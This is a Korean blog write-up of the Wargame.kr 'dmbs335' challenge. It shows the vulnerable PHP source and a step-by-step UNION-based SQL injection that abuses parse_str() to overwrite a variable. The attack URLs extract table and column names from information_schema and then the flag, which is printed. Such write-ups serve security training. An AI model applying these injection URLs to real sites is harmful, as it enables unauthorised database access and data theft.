Dyrandy

[Wargame.kr] 워게임 18번 challenge 18 dmbs335 본문

Wargame WriteUp/WarGame.kr

[Wargame.kr] 워게임 18번 challenge 18 dmbs335

Dyrandy 2018. 6. 20. 20:47

오늘은 웹을 오랜만에 풀기로 했다.

 

이 문제는 SQL문제인데, 생각보다 간단하다.

 

 

일단 대놓고 SQL문제라는 것을 우리에게 가르쳐 주고 있다.

 

 

이런게 있는데, search버튼을 누르면 URL이 이렇게 바뀐다.

 

http://wargame.kr:8080/dmbs335/?search_cols=subject&keyword=&operator=or

 

 

요기서 소스코드를 살펴보면,

 

<?php 

if (isset($_GET['view-source'
])) {
        
show_source(__FILE__
);
        exit();
}

include(
"../lib.php"
);
include(
"./inc.php"); 
// Database Connected

function getOperator(&$operator
) { 
    switch(
$operator
) { 
        case 
'and'

        case 
'&&'

            
$operator 'and'

            break; 
        case 
'or'

        case 
'||'

            
$operator 'or'

            break; 
        default: 
            
$operator 'or'

            break; 
}} 

if(
preg_match('/session/isUD',$_SERVER['QUERY_STRING'
])) {
    exit(
'not allowed'
);
}

parse_str($_SERVER['QUERY_STRING'
]); 
getOperator($operator
); 
$keyword addslashes($keyword
);
$where_clause ''


if(!isset(
$search_cols
)) { 
    
$search_cols 'subject|content'



$cols explode('|',$search_cols
); 

foreach(
$cols as $col
) { 
    
$col preg_match('/^(subject|content|writer)$/isDU',$col) ? $col ''

    if(
$col
) { 
        
$query_parts $col " like '%" $keyword "%'"

    } 

    if(
$query_parts
) { 
        
$where_clause .= $query_parts

        
$where_clause .= ' '

        
$where_clause .= $operator

        
$where_clause .= ' '

        
$query_parts ''

    } 


if(!
$where_clause
) { 
    
$where_clause "content like '%{$keyword}%'"


if(
preg_match('/\s'.$operator.'\s$/isDU',$where_clause
)) { 
    
$len strlen($where_clause) - (strlen($operator) + 2
);
    
$where_clause substr($where_clause0$len
); 



?>
<style>
    td:first-child, td:last-child {text-align:center;}
    td {padding:3px; border:1px solid #ddd;}
    thead td {font-weight:bold; text-align:center;}
    tbody tr {cursor:pointer;}
</style>
<br />
<table border=1>
    <thead>
        <tr><td>Num</td><td>subject</td><td>content</td><td>writer</td></tr>
    </thead>
    <tbody>
        
<?php
            $result 
mysql_query("select * from board where {$where_clause} order by idx desc"
);
            while (
$row mysql_fetch_assoc($result
)) {
                echo 
"<tr>"
;
                echo 
"<td>{$row['idx']}</td>"
;
                echo 
"<td>{$row['subject']}</td>"
;
                echo 
"<td>{$row['content']}</td>"
;
                echo 
"<td>{$row['writer']}</td>"
;
                echo 
"</tr>"
;
            }
        
?>
    </tbody>
    <tfoot>
        <tr><td colspan=4>
            <form method="">
                <select name="search_cols">
                    <option value="subject" selected>subject</option>
                    <option value="content">content</option>
                    <option value="content|content">subject, content</option>
                    <option value="writer">writer</option>
                </select>
                <input type="text" name="keyword" />
                <input type="radio" name="operator" value="or" checked /> or &nbsp;&nbsp;
                <input type="radio" name="operator" value="and" /> and
                <input type="submit" value="SEARCH" />
            </form>
        </td></tr>
    </tfoot>
</table>
<br />
<a href="./?view-source">view-source</a><br />

 

이렇게 나와있다. 보면 4개의 항목을 가지고오고, sql이 어떻게 삽이 되는지 볼 수 있다.

 

요기서 잘 보면 parse_str()이라는 함수가 있다. 이 함수는 url에 있는 질의를 변수로 설정해서 저장 시킬 수 있다는 것이다.

즉, 우리가 php변수를 임의로 만들거나 저장 시킬수 있다는 것이다.

 

http://php.net/manual/kr/function.parse-str.php

 

그러면 우리가 query_strings를 만들어주고, 거기안에 sql injection문구를 만들어 넣어보리면,

 

where_clause안에 sql값이 들어가버릴 것이다. 또한 col값을 없게 만들게 아무거나 쳐서 넣었다.

 

http://wargame.kr:8080/dmbs335/?search_cols=zzz&keyword=&operator=or&query_parts=subject%20union%20select%201,2,3,4%23

 

 

보면 sql injection이 통한다는 것을 알 수 있다.

 

우리가 query_parts를 subject union select 1,2,3,4#를 해줌으로서

 

select * from board where subject union select 1,2,3,4 #

이 되버린 것이다.

 

그러면 이제 뽑는 일만 남았다.

먼저 table이름을 뽑고

column이름 뽑고

column과 table을 이용해 data를 뽑으면 되는 것이다.

 

http://wargame.kr:8080/dmbs335/?search_cols=zzz&keyword=&operator=or&query_parts=subject%20union%20select%201,2,table_name,4 from information_schema.tables%23

 

 

 

table_name = Th1s_1s_Flag_tbl

 

 

http://wargame.kr:8080/dmbs335/?search_cols=zzz&keyword=&operator=or&query_parts=subject%20union%20select%201,2,column_name,4 from information_schema.columns where table_name='Th1s_1s_Flag_tbl'%23

 

 

 

column_name = f1ag

 

 

 

http://wargame.kr:8080/dmbs335/?search_cols=zzz&keyword=&operator=or&query_parts=subject%20union%20select%201,2,f1ag,4 from Th1s_1s_Flag_tbl%23

 

 

993e74dfd4fa18c48f559fdf3156d0b8692fcf9f

 

Comments